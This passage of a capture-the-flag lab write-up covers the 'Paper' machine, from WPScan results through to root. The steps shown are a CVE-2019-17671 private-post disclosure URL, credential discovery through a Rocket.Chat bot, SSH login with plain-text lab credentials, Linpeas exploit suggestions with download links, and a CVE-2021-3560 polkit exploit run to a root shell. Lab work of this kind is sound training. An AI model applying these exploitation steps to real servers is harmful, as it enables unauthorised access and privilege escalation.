https://wpscan.com/vulnerability/d35b2a3d-9b41-4b4f-8e87-1b8ccb370b9f | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39999 | - https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/ | | [!] Title: WP < 6.3.2 - Unauthenticated Post Author Email Disclosure | Fixed in: 5.2.19 | References: | - https://wpscan.com/vulnerability/19380917-4c27-4095-abf1-eba6f913b441 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5561 | - https://wpscan.com/blog/email-leak-oracle-vulnerability-addressed-in-wordpress-6-3-2/ | - https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/ [+] WordPress theme in use: construction-techup | Location: http://office.paper/wp-content/themes/construction-techup/ | Last Updated: 2022-09-22T00:00:00.000Z | Readme: http://office.paper/wp-content/themes/construction-techup/readme.txt | [!] The version is out of date, the latest version is 1.5 | Style URL: http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1 | Style Name: Construction Techup | Description: Construction Techup is child theme of Techup a Free WordPress Theme useful for Business, corporate a... | Author: wptexture | Author URI: https://testerwp.com/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.1 (80% confidence) | Found By: Style (Passive Detection) | - http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1, Match: 'Version: 1.1' [+] Enumerating All Plugins (via Passive Methods) [i] No plugins Found. [+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:04 <=======================================================================================> (137 / 137) 100.00% Time: 00:00:04 [i] No Config Backups Found. [+] WPScan DB API OK | Plan: free | Requests Done (during the scan): 2 | Requests Remaining: 23 [+] Finished: Sat Oct 14 15:27:55 2023 [+] Requests Done: 173 [+] Cached Requests: 5 [+] Data Sent: 43.286 KB [+] Data Received: 203.845 KB [+] Memory used: 242.613 MB [+] Elapsed time: 00:00:17 " ``` ### Using CVE-2019-17671 Exploit We found some interesting wordpress vulnerability that we might exploit. ``` | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308 | - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/ ``` [Proof of Concept for Wordpress up to 5.2.3 viewing unauthenticated posts CVE-2019-17671](https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/) According to the website we can route to this link to view all the post including the private one. ``` https://office.paper/?static=1 ``` ### Viewing all the Post using the exploit Untitled Here is the private invitation link for the chat system. ``` http://chat.office.paper/register/8qozr226AhkCHZdyY ``` ### Adding the Hostname to /etc/hosts ```bash theme={null} sudo vi /etc/hosts " 10.129.136.31 office.paper chat.office.paper " ``` # Exploitation ## Rocket.chat ### Routing to Registration link Untitled ### Login to the chat with the registered credentials Untitled ### Logging into the chat Untitled Click the Directory Icon Untitled Click “# General” ### Viewing the Chat Untitled Untitled Here the user “kellylikescupcakes” tells that we can send DM to the bot, which we can use to exploit ## DM to the Recyclops Bot ### Trying Command Injection Untitled Unfortunately, Recyclops Bot didn’t let me use the OS command ### Viewing various files within the Default Directory Untitled Untitled We didn’t find any important information here ### Viewing /etc/passwd Untitled Untitled Here we know that recyclops bot is running with the permission of the user, as we know that there is no user named “recyclops”. ## Finding the Credentials Untitled Some of the important files are not allowed to be viewed. However, `bot_restart.sh` are! Untitled Here, to check if the error occurred in the bot, it is going to log to `/home/dwight/hubot/.hubot.log` ### Checking Hubot Directory Untitled Enumerating files, I found the credentials of the user Untitled ``` username: dwight password: Queenofblad3s!23 ``` ### Exploit using SSH ```bash theme={null} ssh dwight@10.129.136.31 " dwight@10.129.136.31's password: Activate the web console with: systemctl enable --now cockpit.socket Last login: Tue Feb 1 09:14:33 2022 from 10.10.14.23 [dwight@paper ~]$ whoami dwight [dwight@paper ~]$ " ``` # Privilege Escalation ## Enumerating Exploit Information ### Checking Kernel Information ```bash theme={null} uname -a " Linux paper 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux " ``` ```bash theme={null} cat /proc/version " Linux version 4.18.0-348.7.1.el8_5.x86_64 (mockbuild@kbuilder.bsys.centos.org) (gcc version 8.5.0 20210514 (Red Hat 8.5.0-4) (GCC)) #1 SMP Wed Dec 22 13:25:12 UTC 2021 " ``` It’s using `RHEL8` with `Linux Kernel 4.18.0` ### Linpeas Exploit Information ``` ╔══════════╣ Executing Linux Exploit Suggester ╚ https://github.com/mzet-/linux-exploit-suggester [+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET) Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/ https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/ Exposure: less probable Tags: ubuntu=(22.04){kernel:5.15.0-27-generic} Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN) [+] [CVE-2022-2586] nft_object UAF Details: https://www.openwall.com/lists/oss-security/2022/08/29/5 Exposure: less probable Tags: ubuntu=(20.04){kernel:5.12.13} Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1 Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN) [+] [CVE-2021-4034] PwnKit Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt Exposure: less probable Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main [+] [CVE-2021-3156] sudo Baron Samedit Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt Exposure: less probable Tags: mint=19,ubuntu=18|20, debian=10 Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main [+] [CVE-2021-3156] sudo Baron Samedit 2 Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt Exposure: less probable Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10 Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main [+] [CVE-2021-22555] Netfilter heap out-of-bounds write Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html Exposure: less probable Tags: ubuntu=20.04{kernel:5.8.0-*} Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c Comments: ip_tables kernel module must be loaded [+] [CVE-2019-18634] sudo pwfeedback Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/ Exposure: less probable Tags: mint=19 Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c Comments: sudo configuration requires pwfeedback to be enabled. [+] [CVE-2019-15666] XFRM_UAF Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc Exposure: less probable Download URL: Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled [+] [CVE-2019-13272] PTRACE_TRACEME Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 Exposure: less probable Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*} Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c Comments: Requires an active PolKit agent. ``` ### Process Information ```bash theme={null} ps auwwx " USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND polkitd 1022 0.0 0.7 1953304 14544 ? Ssl 07:22 0:00 /usr/lib/polkit-1/polkitd --no-debug " ``` `Polkitd` is running in root privilege and the system is using `RHEL8` which is vulnerable to Polkit Privilege Escalation ## Exploit using CVE-2021-3560 [https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation](https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation) ### Viewing Credentials Generated for Exploitation Untitled According to the github code, ```bash theme={null} username: secnigma password: secnigmaftw ``` ### Exploit ```bash theme={null} ./poc.sh ` [!] Username set as : secnigma [!] No Custom Timing specified. [!] Timing will be detected Automatically [!] Force flag not set. [!] Vulnerability checking is ENABLED! [!] Starting Vulnerability Checks... [!] Checking distribution... [!] Detected Linux distribution as "centos" [!] Checking if Accountsservice and Gnome-Control-Center is installed [+] Accounts service and Gnome-Control-Center Installation Found!! [!] Checking if polkit version is vulnerable [+] Polkit version appears to be vulnerable!! [!] Starting exploit... [!] Inserting Username secnigma... Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required [+] Inserted Username secnigma with UID 1005! [!] Inserting password hash... [!] It looks like the password insertion was succesful! [!] Try to login as the injected user using su - secnigma [!] When prompted for password, enter your password [!] If the username is inserted, but the login fails; try running the exploit again. [!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell! [dwight@paper ~]$ su - secnigma Password: [secnigma@paper ~]$ sudo bash [sudo] password for secnigma: [root@paper secnigma]# whoami root [root@paper secnigma]# ` ``` It takes few executions to exploit. The user disappears frequently, but eventually it will work! # Reference * [https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/](https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/) * [https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)